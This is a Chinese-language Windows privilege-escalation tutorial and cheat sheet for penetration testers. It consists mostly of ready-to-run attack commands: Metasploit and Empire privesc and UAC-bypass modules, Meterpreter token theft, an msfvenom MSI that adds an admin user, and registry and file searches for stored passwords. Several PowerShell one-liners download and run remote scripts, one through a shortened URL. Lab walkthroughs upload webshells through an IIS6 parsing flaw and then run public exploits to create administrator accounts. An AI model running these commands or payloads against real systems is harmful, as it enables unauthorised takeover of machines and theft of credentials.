0x01 简介

提权可分为纵向提权与横向提权:
纵向提权:低权限角色获得高权限角色的权限;
横向提权:获取同级别角色的权限。

Windows常用的提权方法有:系统内核溢出漏洞提权、数据库提权、错误的系统配置提权、组策略首选项提权、WEB中间件漏洞提权、DLL劫持提权、滥用高危权限令牌提权、第三方软件/服务提权等
image.png

0x02 按提权方法分类

2.1 系统内核溢出漏洞提权

此提权方法即是通过系统本身存在的一些漏洞,未曾打相应的补丁而暴露出来的提权方法,依托可以提升权限的EXP和它们的补丁编号,进行提升权限。
下面是几个方便查找相应补丁漏洞的辅助查询页面:

  1. https://github.com/ianxtianxt/win-exp-
  2. https://github.com/SecWiki/windows-kernel-exploits
  1. #手工查找补丁情况
  2. systeminfo
  3. Wmic qfe get Caption,Description,HotFixID,InstalledOn
  4. 如果要定位到特定的补丁可以使用如下命令
  5. wmic qfe get Description,HotFixID,InstalledOn | findstr /C:"KB4346084" /C:"KB4509094"
  6. win2003:
  7. systeminfo>C:Windows\tmp\temp.txt&(for %i in (KB3057191 KB2840221 KB3000061 KB2850851 KB2711167 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653 KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831 KB2503665 KB2592799 KB956572 KB977165 KB2621440) do @type C:Windows\tmp\temp.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:Windows\tmp\temp.txt
  8. 1、通用型:
  9. systeminfo>C:Windows\tmp\temp.txt&(for %i in (KB3124280 KB3143141 KB3134228 KB3079904 KB3077657 KB3124280 KB3045171 KB2829361 KB3000061 KB2850851 KB2707511 KB970483 KB2124261 KB2271195) do @type C:Windows\tmp\temp.txt|@find /i "%i"|| @echo %i Not Installed!)&del /f /q /a C:WindowsTemptemp.txt
  10. 2、补丁对照表,上传exe,执行命令
  11. KB952004 :MS09-012 PR
  12. KB956572 :MS09-012 巴西烤肉
  13. KB2393802:MS11-011
  14. KB2592799:MS11-080
  15. KB2621440:MS12-0203
  16. KB2160329:MS10-048
  17. KB970483 :MS09-020 iis6提权(可能是)
  18. KB2124261,KB2271195 MS10-065 IIS7提权(可能是)
  19. KB977165 :MS10-015
  20. KB2360937 MS10-084
  21. KB2478960 MS11-014
  22. KB2507938 MS11-056
  23. KB2566454 MS11-062
  24. KB2646524 MS12-003
  25. KB2645640 MS12-009
  26. KB2641653 MS12-018
  27. KB3077657 MS15_077 字体提权
  28. KB944653 MS07-067
  29. KB952004 MS09-012
  30. KB971657 MS09-041
  31. KB2620712 MS11-097
  32. kb942831 MS08-005
  33. KB2503665 MS11-046
  34. KB2592799 MS11-080
  35. #MSF后渗透扫描
  36. post/windows/gather/enum_patches
  37. #Powershell扫描
  38. Import-Module C:\Sherlock.ps1
  39. Find-AllVulns

2.2 系统配置错误提权

  1. #Empire内置模块
  2. usemodule privesc/powerup/allchecks
  3. execute

2.2.1 系统服务权限配置错误

Windows在系统启动时,会伴随着一些高权服务启动,倘若某些服务存在一些漏洞,那么就能够借此服务进行权限劫持
实现方法可借助:

  1. 1.Powershell中的PowerUp脚本
  2. https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1
  3. 2.Metasploit中的攻击模块 #需要提前获取一个session
  4. exploit/windows/local/service_permissions

2.2.2 可信任服务路径漏洞

如果一个服务的可执行文件的路径没有被双引号引起来且包含空格,那么这个服务就是有漏洞的
MSF使用实战:

  1. #寻找存在漏洞的服务
  2. wmic service get name,displayname,pathname,startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """
  3. #msf攻击模块
  4. exploit/windows/local/trusted_service_path
  5. #正常接收到会话后,不久就会自动断开连接,需要开启命令自动迁移进程
  6. set AutoRunScript migrate -f

2.2.3 计划任务

如果攻击者对以高权限运行的任务所在的目录具有写权限,就可以使用恶意程序覆盖原来的程序,这样在下次计划执行时,就会以高权限来运行恶意程序。

  1. #查看计算机的计划任务
  2. schtasks /query /fo LIST /v
  3. #查看指定目录的权限配置情况
  4. accesschk.exe -dqv "D:\test" -accepteula

2.3 组策略首选项提权

组策略首选项(Group Policy Preferences,GPP),详情见谢公子的博客:Windows组策略首选项提权

  1. #Powershell获取cpassword
  2. Get-GPPPassword.ps1
  3. #Msf
  4. post/windows/gather/credentials/gpp
  5. #Empire
  6. usemodule privesc/gpp

2.4 绕过UAC提权

backlion师傅有一篇博文,主要写的就是这个:使用Metasploit绕过UAC的多种方法

  1. #Msf
  2. exploit/windows/local/ask #弹出UAC确认窗口,点击后获得system权限
  3. exploit/windows/local/bypassuac
  4. exploit/windows/local/bypassuac_injection
  5. exploit/windows/local/bypassuac_fodhelper
  6. exploit/windows/local/bypassuac_eventvwr
  7. exploit/windows/local/bypassuac_comhijack
  8. #Powershell
  9. Invoke-PsUACme
  10. #Empire
  11. usemodule privesc/bypassuac
  12. usemodule privesc/bypassuac_wscript

2.3 令牌窃取

  1. #已经获取到一个session
  2. #方法一
  3. meterpreter > use incognito
  4. ......
  5. meterpreter > list_tokens -u
  6. WIN-2HU3N1\Administrator
  7. meterpreter > impersonate_token WIN-2HU3N1\\Administrator #注意:这里是两个反斜杠\\
  8. Successfully......
  9. meterpreter > shell
  10. C:\User\Administrator>whoami
  11. WIN-2HU3N1\Administrator
  1. #方法二,借用Rotten potato程序
  2. https://github.com/foxglovesec/RottenPotato.git
  3. meterpreter > use incognito
  4. meterpreter > list_tokens -u
  5. WIN-2HU3N1\Administrator
  6. meterpreter > upload /root/Rottenpotato/rottenpotato.exe
  7. Successfully
  8. meterpreter > execute -HC -f rottenpotato.exe
  9. Successfully
  10. meterpreter > getuid
  11. ...NT AUTHORITY\SYSTEM

2.4 无凭证条件下的权限提升

Responder.py:https://github.com/SpiderLabs/Responder.git

0x03 按系统类型类型

3.1 Windows2000/2003、XP

3.1.1 at本地命令提权

在 Windows2000、Windows 2003、Windows XP 这三类系统中,我们可以轻松将 Administrators 组下的用户权限提升到 SYSTEM
at 是一个发布定时任务计划的命令行工具,语法比较简单。通过 at 命令发布的定时任务计划, Windows 默认以 SYSTEM 权限运行。定时任务计划可以是批处理、可以是一个二进制文件。

  1. 语法:at 时间 命令
  2. 例子:at 10:45PM calc.exe

该命令会发布一个定时任务计划,在每日的 10:45 启动 calc.exe。我们可以通过 “/interactive”开启界面交互模式:
Windows提权 - 图2
在得到一个system的cmd之后,使用 taskmgr 命令调用任务管理器,此时的任务管理器是system权限,然后kill掉explore进程,再使用任务管理器新建explore进程,将会得到一个system的桌面环境
Windows提权 - 图3

3.1.2 at 配合 msf提权

msf下生成木马文件,at命令执行运行程序,上线后即为system
Windows提权 - 图4

3.2 windows 7/8、03/08、12/16

3.2.1 sc命令提权

关于sc命令: SC 是用于与服务控制管理器和服务进行通信的命令行程序。提供的功能类似于“控制面板”中“管理工具”项中的“服务”。

  1. sc Create syscmd binPath= "cmd /K start" type= own type= interact

这个命令的意思是创建一个名叫 syscmd 的新的交互式的 cmd 服务,然后执行以下命令,就得到了一个system权限的cmd环境:

  1. sc start systcmd

3.2.2 AlwaysInstallElevated

AlwaysInstallElevated 是一种允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他。
可以通过查询以下注册表项来识别此设置:

  1. [HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] AlwaysInstallElevated”=dword:00000001
  2. [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] AlwaysInstallElevated”=dword:00000001

使用reg query命令查询是否存在漏洞

  1. C:> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  2. or
  3. C:> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

如果系统没这个漏洞,它将输出错误:

  1. ERROR: The system was unable to find the specified registry key or value.

如果存在漏洞,上面将输出以下内容:
Windows提权 - 图5
然后我们使用msfvenom生成msi文件,进行提权

  1. msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o rotten.msi
  2. msiexec /quiet /qn /i C:\programdata\rotten.msi
  3. # /quiet 安装过程中禁止向用户发送消息
  4. # /qn 不使用GUI
  5. # /i 安装程序
  1. msf下的自动模块
  2. exploit/windows/local/always_install_elevated

3.2.3 Unattended Installs

自动安装允许程序在不需要管理员关注下自动安装。这种解决方案用于在拥有较多雇员和时间紧缺的较大 型组织中部署程序。如果管理员没有进行清理的话,那么会有一个名为Unattend的XML文件残存在系统上。 这个XML文件包含所有在安装程序过程中的配置,包括一些本地用户的配置,以及管理员账户。
全盘搜索Unattend文件是个好办法,它通常会在以下一个文件夹中:

  1. C:\Windows\Panther\
  2. C:\Windows\Panther\Unattend\
  3. C:\Windows\System32\
  4. C:\Windows\System32\sysprep\

除了Unattend.xml文件外,还要留意系统中的sysprep.xml和sysprep.inf文件,这些文件中都会包含部署操作 系统时使用的凭据信息,这些信息可以帮助我们提权。

  1. C:\Users\user\Desktop> dir C:*vnc.ini /s /b /c
  1. #或者在名称中包含关键词的项目:
  2. C:\Users\user\Desktop> dir C:\ /s /b /c | findstr /sr *password*
  3. #或者可以在文件内容中搜索password之类的关键字:
  4. C:\Users\user\Desktop>findstr /si password *.txt | *.xml | *.ini
  5. #可以查询注册表,例如,字符串password:
  6. reg query HKLM /f password /t REG_SZ /s
  7. reg query HKCU /f password /t REG_SZ /s

在这些文件中通常包含用户名和密码,密码使用base64编码,并且在最后会附加”Password”,所以真正的密 码需要去掉最后的”Password”。

  1. #msf模块
  2. post/windows/gather/enum_unattend

Windows提权 - 图6

3.3 常用系统漏洞CVE

  1. #Windows10
  2. CVE-2020-0796 https://www.cnblogs.com/-chenxs/p/12618678.html
  3. #Windows7/2008
  4. CVE-2018-8120 https://www.cnblogs.com/-mo-/p/11404598.html
  5. #Windows7/8、2008/2012/2016
  6. CVE-2017-0213 https://www.cnblogs.com/-mo-/p/11446144.html
  7. #SQL Server、IIS通杀 (针对本地用户的,不能用于域用户)
  8. MS16-075(RottenPotato) https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-075
  9. #持续更新中......

0x04 Windows提权实践

4.1 Pr提权

Pr是windows本地溢出工具,主要作用就是可以将低权限用户提升为系统权限,主要用于webshell提权,补丁号为KB952004,虽然Pr提权已经很老了,但对于新手去学习提权还是需要去学习一下的,接下来就来实践一下Pr提权。
image.png
一个上传页面,使用Wappalyzer分析一下服务器是什么服务器,以及网站环境等
image.png
Web服务器是iis6.0,存在中间件解析漏洞,可以利用这个漏洞进行上传木马

  1. IIS6.0解析漏洞介绍
  2. 当建立*.asa、.asp格式的文件夹时,其目录下的任意文件都将会被IIS当做asp解析。
  3. 当文件.asp;1.jpg IIS6.0同样会将文件作为asp文件解析。

上传一个asp一句话木马,改下目录和文件后缀
image.png
上传成功
image.png
连接成功
image.png

获得webshell权限,先来查看一下当前的用户权限,发现菜刀的虚拟终端没办法使用,自己上传一个
image.png
当前的用户权限是
image.png
并没有创建用户等权限,所以接下来就要收集信息了,先来查询一下系统信息image.png
在系统的补丁中发现没有KB952004
image.png
因此可以利用这个漏洞进行提权(cve-2009-0079),上传pr.exe
image.png
提权成功
image.png

4.2 Windows分析工具的利用

WinSystemHelper

WinSystemHelper检查可利用的漏洞,该工具适合在任何Windows服务器上进行已知提权漏洞的检测

  1. 使用方法:
  2. 上传bat+txt文件,运行bat查看结果

WinSystemHelper
实验环境
windows server 2003
创建一个iis服务,并开启asp支持,在wwwroot目录下放一个aspx木马,菜刀进行连接
image.png
连接成功后,查看权限
image.png
权限不高,在其他文件夹中上传不了,但可以在RECYCLER文件夹中上传文件,因为一般情况下这个文件夹都是有权限进行上传的。(RECYCLER是windows操作系统中存放被删除文件的文件夹之一)
根据WinSystemHelper的使用方法,在该目录下上传bat+txt文件。
image.png
虚拟终端运行一下WinSysHelper.bat
image.png
有很多可以利用的漏洞,找一个11年的exp测试一下
image.png
直接运行,发现成功添加了一个k8team的用户
image.png
创建的用户已经成功添加到管理员组当中,提权成功
image.png

Sherlock

Sherlock是一个在Windows下用于本地提权的PowerShell脚本

https://github.com/rasta-mouse/Sherlock
使用方法:

  1. 本地加载脚本
  2. Import-Module Sherlock.ps1
  3. 远程加载脚本
  4. IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/rasta-mouse/Sherlock/master/Sherlock.ps1')
  5. 检查漏洞
  6. Find-AllVulns
  7. 出现Appears Vulnerable就是存在漏洞

实验环境
win7,搭配有phpstudy

先用管理员账号创建一个普通的账号,用户名为test,登陆进去,在根目录下设置一个php一句话木马,进行连接,发现无法在虚拟终端执行命令,而且自己上传进去的cmd.exe也无法使用,这时可以使用另外一款工具phpspy,将其中的2011.php文件上传到网站根目录并进行访问
image.png
密码在源代码中有
image.png
登陆之后,在这里面便可以进行命令执行了
image.png
接下来在C:/users/test目录下放入Sherlock文件
image.png
接下来调用下Powershell,这里直接在win7本机做实验了,所以使用如下命令

  1. powershell.exe -exec bypass

image.png

启动成功,下面本地加载下脚本,检查下存在的漏洞

  1. Import-Module ./Sherlock.ps1
  2. Find-AllVulns

通过这样的分析,便可以找到对应的漏洞,利用相应的exp即可
image.png
可以找MS14-058测试一下,上传与操作系统版本相同的exp
image.png
提权成功

Privesc

该工具可以枚举出目标Windows系统中常见的Windows错误安全配置,错误的安全配置将允许攻击者在目标系统中实现信息收集以及权限提升

Privesc
使用方法:

  1. 本地加载脚本
  2. Import-Module .\Privesc.psm1
  3. 获取函数
  4. Get-Command -Module Privesc
  5. 检测全部信息
  6. Invoke-AllChecks
  7. 命令行下执行
  8. powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1;Invoke-AllChecks}"
  9. 远程调用执行
  10. powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://dwz.cn/2vkbfp');Invoke-AllChecks"
  11. 添加用户
  12. Install-ServiceBinary -ServiceName '服务名' -UserName user -Password password

先进入Powershell
image.png
加载脚本并获取函数
image.png
检测全部信息
image.png
除此之外,可以将信息导入到文件中

  1. IEX (New-Object Net.WebClient).DownloadString('http://dwz.cn/2vkbfp');Invoke-AllChecks >1.txt

image.png

添加一个shy用户,密码为123456

  1. Install-ServiceBinary -ServiceName 'phpStudySrv' -UserName shy -Password 123456

image.png

执行成功

4.3 提权实战

在测试的网站中上传一个asp木马文件,菜刀进行连接
image.png
当前权限为
image.png
没有创建用户等权限,需要进行提权操作,使用命令systeminfo查看一下系统信息
image.png
当前的操作系统是winserver-2008,查到CVE-2018-8120可以对该系统进行提权操作,就将exp文件上传上去,但发现网站根目录和垃圾邮箱都无法上传进去
image.png
但是经过测试后发现,可以在User/All Users目录下进行上传exp文件
image.png

提权成功
image.png
创建用户成功
image.png

参考链接

https://www.cnblogs.com/-mo-/p/12333943.html
http://hackergu.com/powerup-stealtoken-rottenpotato/
https://blog.csdn.net/Fly_hps/article/details/80301264
https://lengjibo.github.io/windows%E6%8F%90%E6%9D%83%E6%80%BB%E7%BB%93/